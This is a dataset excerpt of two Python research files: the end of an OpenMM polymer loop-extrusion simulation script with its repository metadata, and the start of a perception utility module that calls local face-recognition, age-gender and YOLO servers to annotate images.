0:\n            for j in range(polloading[ii], gene_end):\n                permLeftArray[j] = L*(gene_end-j)/(gene_end-polloading[ii])*direc + variable_offset\n                permRightArray[j] = R*(gene_end-j)/(gene_end-polloading[ii])*direc + variable_offset*RL_factor\n            permLeftArray[polloading[ii]] *= variable_TSSfactor\n            permRightArray[polloading[ii]] *= variable_TSSfactor\n            if gene_end<poltermination[ii]:\n                s1=gene_end\n                s2=poltermination[ii]\n            else:\n                s1=poltermination[ii]+1\n                s2=gene_end+1\n            for j in range(s1,s2):\n                if not variable_return:\n                    permLeftArray[j] = variable_offset\n                    permRightArray[j] = variable_offset*RL_factor  # note that RL_factor adjusts right-left permeability of RNAP, not head-on/co-directional collision permeability. should change that. \n                else:\n                    permLeftArray[j] = L + variable_offset\n                    permRightArray[j] = R + variable_offset*RL_factor\n        elif variable_type == 1:\n            perm_break=polloading[ii]+direc*variable_pos\n            if polloading[ii] < perm_break:\n                s1=polloading[ii]\n                s2=perm_break\n            else:\n                s1=perm_break+1\n                s2=polloading[ii]+1\n            for j in range(s1,s2):\n                permLeftArray[j] = L\n                permRightArray[j] = R\n            permLeftArray[polloading[ii]] *= variable_TSSfactor\n            permRightArray[polloading[ii]] *= variable_TSSfactor\n            if perm_break<gene_end:\n                s1=perm_break\n                s2=gene_end\n            else:\n                s1=gene_end+1\n                s2=perm_break+1\n            for j in range(s1,s2):\n                permLeftArray[j] = variable_offset\n                permRightArray[j] = variable_offset*RL_factor\n            if gene_end<poltermination[ii]:\n                s1=gene_end\n                s2=poltermination[ii]\n            else:\n                s1=poltermination[ii]+1\n                s2=gene_end+1\n            for j in range(s1,s2):\n                if not variable_return:\n                    permLeftArray[j] = variable_offset\n                    permRightArray[j] = variable_offset*RL_factor\n                else:\n                    permLeftArray[j] = L\n                    permRightArray[j] = R\n\n# -- data folder -\nfolder=\"data/\"\n#folder = \"/net/levsha/scratch/ebanigan/txn/\"\n\n\nFullFileName=folder\nwhile True:\n    fname=\"extr_life{0}_sep{1}_density{2}_N{3}_kinpol{4}_kterPol{5}_TSSPause{6}_save{7}_total{8}_PSpeed{9}_stf{10}_stg{11}_th0.001_genelen{12}_stall{13}_L{14}_R{15}\".format(LIFETIME, SEPARATION, dens,N,kinPol,kterPol,PolPause,saveEveryBlocks,totalSavedBlocks,PolSpeed,stiff,stg,base_genelen,stalProb,L,R)\n    if variable_permeability:\n        fname=fname+\"_vperm\"+str(variable_type)+\"_offset\"+str(variable_offset)\n        if variable_type == 1:\n            fname=fname+\"_pos\"+str(variable_pos)\n        if variable_return == 1:\n            fname=fname+\"_vret\"\n        if not (variable_TSSfactor == 1.):\n            fname=fname+\"_vtss\"+str(variable_TSSfactor)\n    if not (TSSloadbias == 1.):\n        fname=fname+\"_tssload\"+str(TSSloadbias)\n        if not ((TSSloadstart==0) and (TSSloadend==0)):\n            fname=fname+\"_st{0}end{1}\".format(TSSloadstart,TSSloadend)\n    if variable_genelength:\n        fname=fname+\"_vgenelen\"\n    if not (collisionLifeFactor == 1.0):\n        fname=fname+\"_collife\"+str(collisionLife)\n    if not (TTSunload == 1.):\n        fname=fname+\"_ttslife\"+str(TTSunload*LIFETIME)+\"width\"+str(unloadZone)\n    if poldissoc > 0.:\n        fname=fname+\"_dissoc\"+str(poldissoc)\n    if lef_speed < 1.0:\n        fname=fname+\"_lefspeed\"+str(lef_speed)\n    if shrink_speed > 0.0:\n        fname=fname+\"_shrink\"+str(shrink_speed)\n    if stall_in_gene > 0.:\n        fname=fname+\"_stallgene{0}_unstall{1}\".format(stall_in_gene, unstall_in_gene)\n    if lefperm > 0.:\n        fname=fname+\"_lefperm{0}\".format(lefperm)\n    fname=fname+FLAG\n    fname=fname+\"_\"+str(run_id)\n    FullFileName=os.path.join(folder, fname) \n    sleeptime=np.random.uniform(0,10)\n    os.system(\"sleep {0}\".format(sleeptime))\n    if not os.path.exists(FullFileName):\n        os.system(\"mkdir {0}\".format(FullFileName))\n        print(\"directory is {0}\".format(FullFileName))\n        break\n    else:\n        run_id = run_id+1\n\n\n# -- Assertions to make sure parameters have been chosen correctly --\n\nassert restartMilkerEveryBlocks % saveEveryBlocks == 0 \nassert (skipSavedBlocksBeginning * saveEveryBlocks) % restartMilkerEveryBlocks == 0 \nassert (totalSavedBlocks * saveEveryBlocks) % restartMilkerEveryBlocks == 0 \nassert smcStepsPerBlock<6 # max number of steps per smc block should not be too large to prevent 'jerky' polymer motion\n\nsavesPerMilker = restartMilkerEveryBlocks // saveEveryBlocks\nmilkerInitsSkip = saveEveryBlocks * skipSavedBlocksBeginning  // restartMilkerEveryBlocks\nmilkerInitsTotal  = (totalSavedBlocks + skipSavedBlocksBeginning) * saveEveryBlocks // restartMilkerEveryBlocks\nprint(\"Milker will be initialized {0} times, first {1} will be skipped\".format(milkerInitsTotal, milkerInitsSkip))\n\n# create filenames for Ekin, Epot and time\n\nEkin_fname = os.path.join(FullFileName,'Ekin.txt')\nEpot_fname = os.path.join(FullFileName,'Epot.txt')\ntime_fname = os.path.join(FullFileName,'time.txt')\nPar_fname  = os.path.join(FullFileName,'Pars.txt')\n\n\ndef save_Es_ts_Rg():\n    with open(time_fname, \"a+\") as time_file:\n        time_file.write('%f\\n'%(a.state.getTime()/openmmlib.ps))\n    with open(Ekin_fname, \"a+\") as Ekin_file:\n        Ekin_file.write('%f\\n'%((a.state.getKineticEnergy())/a.N/a.kT))\n    with open(Epot_fname, \"a+\") as Epot_file:\n        Epot_file.write('%f\\n'%((a.state.getPotentialEnergy()) /a.N /a.kT))\n\nclass smcTranslocatorMilker(object):\n\n    def __init__(self, smcTransObject):\n        \"\"\"\n        :param smcTransObject: smc translocator object to work with\n        \"\"\"\n        self.smcObject = smcTransObject\n        self.allBonds = []\n\n    def setParams(self, activeParamDict, inactiveParamDict):\n        \"\"\"\n        A method to set parameters for bonds.\n        It is a separate method because you may want to have a Simulation object already existing\n\n        :param activeParamDict: a dict (argument:value) of addBond arguments for active bonds\n        :param inactiveParamDict:  a dict (argument:value) of addBond arguments for inactive bonds\n\n        \"\"\"\n        self.activeParamDict = activeParamDict\n        self.inactiveParamDict = inactiveParamDict\n\n\n    def setup(self, bondForce,  blocks = 100, smcStepsPerBlock = 1):\n        \"\"\"\n        A method that milks smcTranslocator object\n        and creates a set of unique bonds, etc.\n\n        :param bondForce: a bondforce object (new after simulation restart!)\n        :param blocks: number of blocks to precalculate\n        :param smcStepsPerBlock: number of smcTranslocator steps per block\n        :return:\n        \"\"\"\n\n\n        if len(self.allBonds) != 0:\n            raise ValueError(\"Not all bonds were used; {0} sets left\".format(len(self.allBonds)))\n\n        self.bondForce = bondForce\n\n        #precalculating all bonds\n        allBonds = []\n        for dummy in range(blocks):\n            self.smcObject.steps(smcStepsPerBlock)\n            left, right = self.smcObject.getSMCs()\n            bonds = [(int(i), int(j)) for i,j in zip(left, right)]\n            allBonds.append(bonds)\n\n        self.allBonds = allBonds\n        self.uniqueBonds = list(set(sum(allBonds, []))) # 'sum' preserves order and makes one long list with bonds, 'set' creates a set with left bonds from different time points ordered from small to large and eliminates two equal bonds (also if they were created by different LEFs at different times). List turns set into a list with unique bonds at different time points.\n\n        # adding forces and getting bond indices\n        self.bondInds = []\n        self.curBonds = allBonds.pop(0) # pop(0) removes and returns first list of bonds\n\n        for bond in self.uniqueBonds:\n            paramset = self.activeParamDict if (bond in self.curBonds) else self.inactiveParamDict\n            ind = bondForce.addBond(bond[0], bond[1], **paramset)\n            self.bondInds.append(ind)\n        self.bondToInd = {i:j for i,j in zip(self.uniqueBonds, self.bondInds)}\n        return self.curBonds,[]\n\n\n    def step(self, context, verbose=False):\n        \"\"\"\n        Update the bonds to the next step.\n        It sets bonds for you automatically!\n        :param context:  context\n        :return: (current bonds, previous step bonds); just for reference\n        \"\"\"\n        if len(self.allBonds) == 0:\n            raise ValueError(\"No bonds left to run; you should restart simulation and run setup  again\")\n\n        pastBonds = self.curBonds\n        self.curBonds = self.allBonds.pop(0)  # getting current bonds\n        bondsRemove = [i for i in pastBonds if i not in self.curBonds]\n        bondsAdd = [i for i in self.curBonds if i not in pastBonds]\n        bondsStay = [i for i in pastBonds if i in self.curBonds]\n        if verbose:\n            print(\"{0} bonds stay, {1} new bonds, {2} bonds removed\".format(len(bondsStay),\n                                                                            len(bondsAdd), len(bondsRemove)))\n        bondsToChange = bondsAdd + bondsRemove\n        bondsIsAdd = [True] * len(bondsAdd) + [False] * len(bondsRemove)\n        for bond, isAdd in zip(bondsToChange, bondsIsAdd):\n            ind = self.bondToInd[bond]\n            paramset = self.activeParamDict if isAdd else self.inactiveParamDict\n            self.bondForce.setBondParameters(ind, bond[0], bond[1], **paramset)  # actually updating bonds\n        self.bondForce.updateParametersInContext(context)  # now run this to update things in the context\n        return self.curBonds, pastBonds\n\n    def getRNAP(self):\n        return self.smcObject.getPolOccupied()\n\ndef initModel():    \n    birthArray = np.zeros(N,dtype=np.double) + 0.1\n    #birthArray[polloading] *= TSSloadbias\n    for nn, tt  in zip(polloading,poltermination):\n        #the following accounts for different gene directions:\n        if tt > nn:\n            loadbegin=min(max(nn-TSSloadstart,0), N) #max/min construction here ensures range will not exceed ends of polymer, noting that TSSloadstart can be + or -\n            loadend=max(min(nn+TSSloadend+1,N),0)\n        else:\n            loadbegin= min(max(nn-TSSloadend,0),N)\n            loadend= max(min(nn+TSSloadstart+1,N),0)\n        for jj in range(loadbegin,loadend):\n            birthArray[jj] *= TSSloadbias\n    deathArray = np.zeros(N, dtype=np.double) + 1. / (LIFETIME)\n    collisionDeathArray= np.zeros(N,dtype=np.double) + 1./collisionLife\n    if not (TTSunload==1.):\n        for nn,tt,gg in zip(polloading, poltermination, genelength):\n            if tt>nn:\n                zonebegin=nn+gg\n                zoneend=min(nn+gg+unloadZone,N)\n            else:\n                zonebegin= max(nn-gg+1-unloadZone,0)\n                zoneend= nn-gg+1\n            for jj in range(zonebegin, zoneend):\n                deathArray[jj] = 1./(TTSunload*LIFETIME)\n                collisionDeathArray[jj] =  1./(TTSunload*LIFETIME)\n\n    stallLeftArray = np.zeros(N, dtype=np.double) #stall prob for left LEF legs, i.e. CTCF sites that point rightward\n    stallRightArray = np.zeros(N, dtype=np.double)\n    if STALL_FROM_FILE: #read in stall rates from file; file should provide list of LEF stalling rates starting from the TSS, extending as long as the configuration of repeats permits\n        with open(\"stallfiles/\"+stallfile,\"r\") as infile:\n            stall_list = infile.readlines()\n        for entry in stall_list:\n            gene_stall.append(float(entry.split()[0]))\n        for nn,tt in zip(polloading,poltermination):\n            ii=0\n            if nn<tt:\n                gene_direc=1\n            else:\n                gene_direc=-1\n            for ii in range(len(gene_stall)):\n                stallLeftArray[nn+ii*gene_direc]=gene_stall[ii]\n                stallRightArray[nn+ii*gene_direc]=gene_stall[ii]\n    else: #stall rates set by stall params & CTCF position options\n        stallLeftArray[ctcf_left_list] = stg  \n        stallRightArray[ctcf_right_list] = stg\n\n    unstallLEFArray = np.ones(N, dtype=np.double) * unstallLEFRate # generally have a single unstall rate.  doesn't matter if non-stall sites have unstall>0, since there won't be stalls there anyway\n    stallDeathArray = np.zeros(N, dtype=np.double) + 1. / (LIFETIME) # unbinding rate during stall can be different, but we usually leave it the same \n    smcNum = int(N / SEPARATION)\n    curPos = 0\n        \n    SMCTran = smcTranslocatorDirectional(birthArray, deathArray, stallLeftArray, stallRightArray, unstallLEFArray, pauseArray, stallDeathArray, smcNum, \n                                         kinPol,kterPolArray,pauseArrayPol,shrinkPauseArray, polloading,poltermination, stalProbPol, unstallArray, \n                                         PolPermL=permLeftArray, PolPermR=permRightArray, collisionFalloffProb=collisionDeathArray, \n                                         poldissoc= poldissoc, \n                                         LefPerm=lefperm,\n                                         strongCTCF=strongCTCFstall\n                                        )  \n    return SMCTran\n\n\nSMCTran = initModel()  # defining actual smc translocator object \n\n\n\n# now polymer simulation code starts\n\n# ------------feed smcTran to the milker---\nSMCTran.steps(1000000)  # first steps to \"equilibrate\" SMC dynamics. If desired of course. \nmilker = smcTranslocatorMilker(SMCTran)   # now feed this thing to milker (do it once!)\n#--------- end new code ------------\n\nfor milkerCount in range(milkerInitsTotal):\n    doSave = milkerCount >= milkerInitsSkip\n    \n    # simulation parameters are defined below \n    a = Simulation(timestep=80, thermostat=0.001)#Collision rate in inverse picoseconds, low collistion rate means ballistic like motion, default in openmmpolymer is 0.001. Motion polymer is not diffusive, this is ok for statistical average,\n    #but not for dynamics of the polymer\n    a.setup(platform=\"CUDA\", PBC=True, PBCbox=[box, box, box], GPU=GPU, precision=\"mixed\")  # set up GPU here, PBC=Periodic Boundary Conditions. Default integrator is langevin with 300 K, friction coefficient of 1/ps, step size 0.002ps\n    a.saveFolder(FullFileName)\n    a.load(data)\n    a.addHarmonicPolymerBonds(wiggleDist=0.1) # WiggleDist controls distance at which energy of bond equals kT\n    if stiff > 0:\n        a.addGrosbergStiffness(stiff) # Chain stiffness is introduced by an angular potential U(theta)=stiff(1-cos(theta-Pi))\n    a.addPolynomialRepulsiveForce(trunc=1.5, radiusMult=1.05) #Polynomial repulsive potential between particles. Has value trunc=3.0 at zero, stays flat until 0.6-0.7 and then drops to zero. For attraction between a selective set of particles, use LeonardJones or addSelectiveSSWForce (see blocks.py or ask Johannes)\n    a.step = block\n\n    # ------------ initializing milker; adding bonds ---------\n    # copied from addBond\n    kbond = a.kbondScalingFactor / (smcBondWiggleDist ** 2)\n    bondDist = smcBondDist * a.length_scale\n\n    activeParams = {\"length\":bondDist,\"k\":kbond}\n    inactiveParams = {\"length\":bondDist, \"k\":0} \n    milker.setParams(activeParams, inactiveParams)\n     \n    # this step actually puts all bonds in and sets first bonds to be what they should be\n    milker.setup(bondForce=a.forceDict[\"HarmonicBondForce\"],\n                 blocks=restartMilkerEveryBlocks,   # default value; milk for 100 blocks\n                 smcStepsPerBlock=smcStepsPerBlock)  # \n    print(\"Restarting milker\")\n\n    a.doBlock(steps=steps, increment=False)  # do block for the first time with first set of bonds in\n    #print('done 1')\n    for i in range(restartMilkerEveryBlocks - 1):\n        #print(i)\n        curBonds, pastBonds = milker.step(a.context)  # this updates bonds. You can do something with bonds here\n        if i % saveEveryBlocks == (saveEveryBlocks - 2):  \n            a.doBlock(steps=steps, increment = doSave)\n            if doSave: \n                a.save()\n                pickle.dump(curBonds, open(os.path.join(a.folder, \"SMC{0}.dat\".format(a.step)),'wb'))\n                save_Es_ts_Rg() # save energies and time\n                if saveRNAP:\n                    pickle.dump(milker.getRNAP(), open(os.path.join(a.folder, \"RNAP{0}.dat\".format(a.step)), 'wb'))\n        else:\n            a.integrator.step(steps)  # do steps without getting the positions from the GPU (faster)\n\n    data = a.getData()  # save data and step, and delete the simulation\n    block = a.step\n    del a\n    \n    time.sleep(0.2)  # wait 200ms for sanity (to let garbage collector do its magic)\n\nwith open(Par_fname,\"a+\") as Parfile:\n    Parfile.write(\" tau=\"+str(LIFETIME)+\"\\n Separation=\"+str(SEPARATION)+\"\\n N=\"+str(N)+\"\\n smcStepsPerBlock=\"+str(smcStepsPerBlock)+\"\\n stiff=\"+str(stiff)+\"\\n dens=\"+str(dens)+\"\\n block=\"+str(block)+\"\\n  SaveEveryBlocks=\"+str(saveEveryBlocks)+\"\\n skipSavedBlocksBeginning=\"+str(skipSavedBlocksBeginning)+\"\\n totalSavedBlocks=\"+str(totalSavedBlocks)+\"\\n restartMilkerEveryBlocks=\"+str(restartMilkerEveryBlocks)+\"\\n smcBondWiggleDist=\"+str(smcBondWiggleDist)+\"\\n smcBondDist=\"+str(smcBondDist)+\"\\n SmcTimestep=1\\n NumMonos\"+str(N))\n\n\nos.system(\"mv {0} {1}\".format(logname, FullFileName))\n\n\n", "meta": {"hexsha": "ec373cdf3e896491732cd7aa93a7f421bd8ace21", "size": 33192, "ext": "py", "lang": "Python", "max_stars_repo_path": "simulations/SimulateMovingBarrier.py", "max_stars_repo_name": "mirnylab/moving-barriers-paper", "max_stars_repo_head_hexsha": "9084e0ce0725dfabaebcde89508b764e44b7662f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "simulations/SimulateMovingBarrier.py", "max_issues_repo_name": "mirnylab/moving-barriers-paper", "max_issues_repo_head_hexsha": "9084e0ce0725dfabaebcde89508b764e44b7662f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "simulations/SimulateMovingBarrier.py", "max_forks_repo_name": "mirnylab/moving-barriers-paper", "max_forks_repo_head_hexsha": "9084e0ce0725dfabaebcde89508b764e44b7662f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 49.9879518072, "max_line_length": 530, "alphanum_fraction": 0.6848638226, "include": true, "reason": "import numpy", "num_tokens": 9084, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.1919327841361473, "lm_q1q2_score": 0.09746574492847508}}
{"text": "import logging\nimport os\nimport pickle\nimport uuid\nfrom collections import namedtuple\nfrom glob import glob\nfrom typing import Tuple\n\nimport jsonpickle\nimport numpy as np\nimport python_on_whales\nimport requests\nimport time\nfrom PIL import Image\nfrom emissor.representation.annotation import AnnotationType\nfrom emissor.representation.entity import Gender, Person, Object\nfrom emissor.representation.ldschema import emissor_dataclass\nfrom emissor.representation.scenario import ImageSignal, Mention, Annotation\n\nfrom .cv.plots import Annotator, Colors\n\nlogging.basicConfig(\n    level=os.environ.get(\"LOGLEVEL\", \"INFO\").upper(),\n    format=\"%(asctime)s.%(msecs)03d %(levelname)s %(module)s - %(funcName)s: %(message)s\",\n    datefmt=\"%Y-%m-%d %H:%M:%S\",\n)\n\n\ndef cosine_similarity(x: np.ndarray, y: np.ndarray) -> np.ndarray:\n    \"\"\"Compute the cosine similarity of the two vectors.\n\n    Args\n    ----\n    x, y: vectors\n\n    Returns\n    -------\n    similarity: a similarity score between -1 and 1, where 1 is the most\n        similar.\n\n    \"\"\"\n\n    similarity = np.dot(x, y) / (np.sqrt(np.dot(x, x)) * np.sqrt(np.dot(y, y)))\n\n    return similarity\n\n\ndef start_docker_container(\n    image: str, port_id: int, sleep_time=5\n) -> python_on_whales.Container:\n    \"\"\"Start docker container given the image name and port number.\n\n    Args\n    ----\n    image: docker image name\n    port_id: port id\n    sleep_time: warmup time\n\n    Returns\n    -------\n    container: a docker container object.\n\n    \"\"\"\n    container = python_on_whales.docker.run(\n        image=image, detach=True, publish=[(port_id, port_id)]\n    )\n\n    logging.info(f\"starting a {image} container ...\")\n    logging.debug(f\"warming up the container ...\")\n    time.sleep(sleep_time)\n\n    return container\n\n\ndef kill_container(container: python_on_whales.Container) -> None:\n    \"\"\"Kill docker container.\n\n    Args\n    ----\n    container:\n        a docker container object.\n\n    \"\"\"\n    container.kill()\n    logging.info(f\"container killed.\")\n    logging.info(f\"DONE!\")\n\n\ndef unpickle(path: str):\n    \"\"\"Unpickle the pickled file, and return it.\n\n    Args\n    ----\n    path: path to the pickle\n\n    Returns\n    -------\n    returned: un unpickled object to be returned.\n\n    \"\"\"\n    with open(path, \"rb\") as stream:\n        returned = pickle.load(stream)\n\n    return returned\n\n\ndef load_embeddings(paths: str = \"./friend_embeddings/*.pkl\") -> dict:\n    \"\"\"Load pre-defined face embeddings.\n\n    Args\n    ----\n    paths: paths to the face embedding vectors.\n\n    Returns\n    -------\n    embeddings_predefined: predefined embeddings\n\n    \"\"\"\n    embeddings_predefined = {}\n    for path in glob(paths):\n        name = path.split(\"/\")[-1].split(\".pkl\")[0]\n        unpickled = unpickle(path)\n\n        embeddings_predefined[unpickled[\"uuid\"]] = {\n            \"embedding\": unpickled[\"embedding\"],\n            \"name\": name,\n        }\n\n    return embeddings_predefined\n\n\ndef face_recognition(\n    friends_path: str, embeddings: list, COSINE_SIMILARITY_THRESHOLD=0.65\n) -> list:\n    \"\"\"Perform face recognition based on the cosine similarity.\n\n    Args\n    ----\n    embeddings: a list of embeddings\n    COSINE_SIMILARITY_THRESHOLD: Currently fixed to The cosine similarity\n        threshold is fixed to 0.65. Feel free to play around with this number.\n\n    Returns\n    -------\n        faces_detected: list of faces (uuids and names) detected.\n\n    \"\"\"\n    embeddings_predefined = load_embeddings(friends_path + \"/*.pkl\")\n\n    cosine_similarities = []\n    for embedding in embeddings:\n        cosine_similarities_ = {\n            uuid_\n            + \" \"\n            + embedding_name[\"name\"]: cosine_similarity(\n                embedding, embedding_name[\"embedding\"]\n            )\n            for uuid_, embedding_name in embeddings_predefined.items()\n        }\n        cosine_similarities.append(cosine_similarities_)\n\n    logging.debug(f\"cosine similarities: {cosine_similarities}\")\n\n    faces_detected_ = [max(sim, key=sim.get) for sim in cosine_similarities]\n    faces_detected = []\n    for uuid_name, sim in zip(faces_detected_, cosine_similarities):\n        uuid_, name = uuid_name.split()\n        if sim[uuid_name] > COSINE_SIMILARITY_THRESHOLD:\n            faces_detected.append({\"uuid\": uuid_, \"name\": name})\n        else:\n            logging.info(\"new face!\")\n            faces_detected.append({\"uuid\": str(uuid.uuid4()), \"name\": None})\n            pass\n\n    return faces_detected\n\n\ndef load_binary_image(image_path: str) -> bytes:\n    \"\"\"Load encoded image as a binary string and return it.\n\n    Args\n    ----\n    image_path: path to the image to load.\n\n    Returns\n    -------\n    binary_image: encoded binary image in bytes\n\n    \"\"\"\n    logging.debug(f\"{image_path} loading image ...\")\n    with open(image_path, \"rb\") as stream:\n        binary_image = stream.read()\n    logging.info(f\"{image_path} image loaded!\")\n\n    return binary_image\n\n\ndef run_face_api(to_send: dict, url_face: str = \"http://127.0.0.1:10002/\") -> tuple:\n    \"\"\"Make a RESTful HTTP request to the face API server.\n\n    Args\n    ----\n    to_send: dictionary to send to the server. In this function, this will be\n        encoded with jsonpickle. I know this is not conventional, but encoding\n        and decoding is so easy with jsonpickle somehow.\n    url_face: the url of the face recognition server.\n\n    Returns\n    -------\n    face_bboxes: (list) boudning boxes\n    det_scores: (list) detection scores\n    landmarks: (list) landmarks\n    embeddings: (list) face embeddings\n    \"\"\"\n    logging.debug(f\"sending image to server...\")\n    to_send = jsonpickle.encode(to_send)\n    response = requests.post(url_face, json=to_send)\n    logging.info(f\"got {response} from server!...\")\n\n    response = jsonpickle.decode(response.text)\n\n    face_detection_recognition = response[\"face_detection_recognition\"]\n    logging.info(f\"{len(face_detection_recognition)} faces deteced!\")\n\n    face_bboxes = [fdr[\"bbox\"] for fdr in face_detection_recognition]\n    det_scores = [fdr[\"det_score\"] for fdr in face_detection_recognition]\n    landmarks = [fdr[\"landmark\"] for fdr in face_detection_recognition]\n\n    embeddings = [fdr[\"normed_embedding\"] for fdr in face_detection_recognition]\n\n    return face_bboxes, det_scores, landmarks, embeddings\n\n\ndef run_age_gender_api(\n    embeddings: list, url_age_gender: str = \"http://127.0.0.1:10003/\"\n) -> tuple:\n    \"\"\"Make a RESTful HTTP request to the age-gender API server.\n\n    Args\n    ----\n    embeddings: a list of embeddings. The number of elements in this list is\n        the number of faces detected in the frame.\n    url_age_gender: the url of the age-gender API server.\n\n    Returns\n    -------\n    ages: (list) a list of ages\n    genders: (list) a list of genders.\n\n    \"\"\"\n    # -1 accounts for the batch size.\n    data = np.array(embeddings).reshape(-1, 512).astype(np.float32)\n    data = pickle.dumps(data)\n\n    data = {\"embeddings\": data}\n    data = jsonpickle.encode(data)\n    logging.debug(f\"sending embeddings to server ...\")\n    response = requests.post(url_age_gender, json=data)\n    logging.info(f\"got {response} from server!...\")\n\n    response = jsonpickle.decode(response.text)\n    ages = response[\"ages\"]\n    genders = response[\"genders\"]\n\n    return ages, genders\n\n\ndef run_yolo_api(to_send: dict, url_yolo: str = \"http://127.0.0.1:10004/\") -> list:\n    \"\"\"Make a RESTful HTTP request to the face API server.\n\n    Args\n    ----\n    to_send: dictionary to send to the server. In this function, this will be\n        encoded with jsonpickle. I know this is not conventional, but encoding\n        and decoding is so easy with jsonpickle somehow.\n    url_yolo: the url of the YOLO server.\n\n    Returns\n    -------\n    results: yolo results. Each element in this list is a dictionary. e.g.,\n        {'yolo_bbox': [752, 46, 1148, 716], 'det_score': 0.875, 'label_num': 0,\n        'label_string': 'person'}\n\n    \"\"\"\n    logging.debug(f\"Running yolo ...\")\n    logging.debug(f\"sending image to server at {url_yolo}...\")\n\n    to_send = jsonpickle.encode(to_send)\n    print(\"url\", url_yolo)\n    response = requests.post(url_yolo, json=to_send)\n    logging.info(f\"got {response} from server!...\")\n    response = jsonpickle.decode(response.text)\n    results = response[\"yolo_results\"]\n\n    for result in results:\n        result[\"yolo_bbox\"] = result.pop(\"bbox\")\n    results = [{key: val for key, val in result.items()} for result in results]\n\n    return results\n\n\ndef annotate_yolo(image: Image.Image, yolo_results: list) -> Image.Image:\n    \"\"\"Annotate YOLO Image.\n\n    Args\n    ----\n    image: PIL image object.\n    yolo_results: yolo prediction results.\n\n    Returns\n    -------\n    image_annotated: Annotated PIL image object.\n\n    \"\"\"\n    logging.debug(\"Annotating yolo image ...\")\n    annotator = Annotator(np.ascontiguousarray((image)))\n    colors = Colors()  # create instance for 'from utils.plots import colors'\n\n    for result in yolo_results:\n        box = result[\"yolo_bbox\"]\n        label_num = result[\"label_num\"]\n        label_string = result[\"label_string\"]\n\n        color = colors(label_num)\n        annotator.box_label(box, label_string, color=color)\n\n    image_annotated = Image.fromarray(annotator.im)\n    logging.info(f\"YOLO image annotation is done!\")\n\n    return image_annotated\n\n\ndef annotate_face(\n    image: Image.Image, genders, ages, face_bboxes, faces_detected, det_scores\n):\n    \"\"\"Annotate face nicely.\n\n    Args\n    ----\n\n    Returns\n    -------\n\n    \"\"\"\n    logging.debug(\"Annotating face, genders, and ages ...\")\n\n    assert (\n        len(genders)\n        == len(ages)\n        == len(face_bboxes)\n        == len(faces_detected)\n        == len(det_scores)\n    )\n    annotator = Annotator(np.ascontiguousarray((image)))\n    colors = Colors()  # create instance for 'from utils.plots import colors'\n\n    for gender, age, face_bbox, uuid_name, faceprob in zip(\n        genders, ages, face_bboxes, faces_detected, det_scores\n    ):\n        box = face_bbox.tolist()\n        if gender[\"m\"] > gender[\"f\"]:\n            binary_gender = \"male\"\n        else:\n            binary_gender = \"female\"\n\n        try:\n            short_name = str(uuid_name[\"name\"].split(\"_\")[0])\n        except:\n            short_name = str(uuid_name[\"name\"])\n\n        label_string = (\n            f\"{short_name}, \" f\"{round(age['mean'])} years old, \" f\"{binary_gender}.\"\n        )\n\n        color = colors(81)\n        annotator.box_label(box, label_string, color=color)\n\n    image_annotated = Image.fromarray(annotator.im)\n    logging.info(\"Annotating face, genders, and ages is done!\")\n\n    return image_annotated\n\n\nFaceInfo = namedtuple(\n    \"FaceInfo\",\n    (\"gender\", \"age\", \"bbox\", \"face_id\", \"det_score\", \"embedding\", \"yolo_result\"),\n)\n\n\ndef detect_faces(\n    friends_path: str,\n    image_path: str,\n    url_face: str = \"http://127.0.0.1:10002/\",\n    url_age_gender: str = \"http://127.0.0.1:10003/\",\n    url_yolo: str = \"http://127.0.0.1:10004\",\n) -> Tuple[FaceInfo]:\n    \"\"\"Detect faces in an image.\n\n    Args\n    ----\n    image_path: path to the image in disk\n    url_face: the url of the face recognition server.\n    url_age_gender: the url of the age-gender API server.\n    url_yolo: the url of the YOLO5 API server\n\n    Returns\n    -------\n    List[FaceInfo]\n    \"\"\"\n    MAXIMUM_ENTROPY = {\"gender\": 0.6931471805599453, \"age\": 4.615120516841261}\n\n    data = {\"image\": load_binary_image(image_path)}\n\n    face_bboxes, det_scores, landmarks, embeddings = run_face_api(data, url_face)\n\n    faces_detected = face_recognition(friends_path, embeddings)\n\n    ages, genders = run_age_gender_api(embeddings, url_age_gender)\n\n    yolo_results = run_yolo_api(data, url_yolo)\n\n    logging.debug(\"annotating image ...\")\n    image = Image.open(image_path)\n    image = annotate_yolo(image, yolo_results)\n    image = annotate_face(image, genders, ages, face_bboxes, faces_detected, det_scores)\n    logging.info(\"image annotation is done!\")\n\n    image_path = image_path + \".ANNOTATED.jpg\"\n    logging.debug(f\"saving image at {image_path}...\")\n    image.save(image_path)\n    logging.info(f\"image saved at {image_path}\")\n\n    return tuple(\n        FaceInfo(*info)\n        for info in zip(\n            genders,\n            ages,\n            face_bboxes,\n            faces_detected,\n            det_scores,\n            embeddings,\n            yolo_results,\n        )\n    )\n\n\ndef detect_objects(\n    image_path: str,\n    url_yolo: str = \"http://127.0.0.1:10004\",\n):\n    \"\"\"Detect objects in an image.\n\n    Args\n    ----\n    image_path: path to the image in disk\n    url_yolo: the url of the YOLO5 API server\n\n    Returns\n    -------\n    List[ObjectInfo]\n    \"\"\"\n\n    data = {\"image\": load_binary_image(image_path)}\n\n    yolo_results = run_yolo_api(data, url_yolo)\n\n    logging.debug(\"annotating image ...\")\n    image = Image.open(image_path)\n    image = annotate_yolo(image, yolo_results)\n    logging.info(\"image annotation is done!\")\n\n    image_path = image_path + \".ANNOTATED.jpg\"\n    logging.debug(f\"saving image at {image_path}...\")\n    image.save(image_path)\n    logging.info(f\"image saved at {image_path}\")\n\n    return yolo_results\n\n\ndef create_face_mention(\n    image_signal: ImageSignal,\n    source: str,\n    current_time: int,\n    bbox: Tuple[int, int, int, int],\n    uri: str,\n    name: str,\n    age: str,\n    gender: str,\n    face_prob: float,\n) -> Mention:\n    bbox = [\n        max(x, lower) for x, lower in zip(bbox[:2], image_signal.ruler.bounds[:2])\n    ] + [min(x, upper) for x, upper in zip(bbox[-2:], image_signal.ruler.bounds[-2:])]\n    face_segment = image_signal.ruler.get_area_bounding_box(*bbox)\n    